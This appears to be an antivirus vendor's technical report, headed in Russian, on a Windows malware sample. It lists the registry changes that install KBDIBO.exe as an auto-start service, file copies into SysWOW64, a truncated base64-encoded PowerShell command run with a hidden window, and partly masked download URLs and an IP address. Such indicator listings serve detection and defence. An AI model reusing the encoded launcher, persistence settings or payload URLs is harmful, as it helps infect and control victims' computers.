Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\EFS] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\KBDIBO] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\KBDIBO] 'ImagePath' = '"%WINDIR%\SysWOW64\msjint40\KBDIBO.exe"'
- 'KBDIBO' "%WINDIR%\SysWOW64\msjint40\KBDIBO.exe"
- 'KBDIBO' %WINDIR%\SysWOW64\msjint40\KBDIBO.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD IAAgACQATABFADUAYgAwAG8AIAA9ACAAIABbAHQAeQBQAEUAXQAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewAyAH0AewA0AH0AIgAtAEYAIAAnAE0ALgAnACwAJwB5AHMAVAAnACwAJwBpAG8ALgBkAGkAUgBlAEMAVA...
- %HOMEPATH%\gzcs8b5\eempwrr\j3pw9s.exe
- %WINDIR%\syswow64\msjint40\kbdibo.exe
- %HOMEPATH%\gzcs8b5\eempwrr\j3pw9s.exe в %WINDIR%\syswow64\msjint40\kbdibo.exe
- '10#.#82.145.130':80
- http://tu###hoi.com/wp-content/CI2oG/
- http://10#.#82.145.130/qVvDX/n3Mm/5wxPg5HOK/9ipaB7BK3k3tEfKpn/
- DNS ASK tu###hoi.com
- '%HOMEPATH%\gzcs8b5\eempwrr\j3pw9s.exe'
- '%WINDIR%\syswow64\msjint40\kbdibo.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD IAAgACQATABFADUAYgAwAG8AIAA9ACAAIABbAHQAeQBQAEUAXQAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewAyAH0AewA0AH0AIgAtAEYAIAAnAE0ALgAnACwAJwB5AHMAVAAnACwAJwBpAG8ALgBkAGkAUgBlAEMAVA...' (со скрытым окном)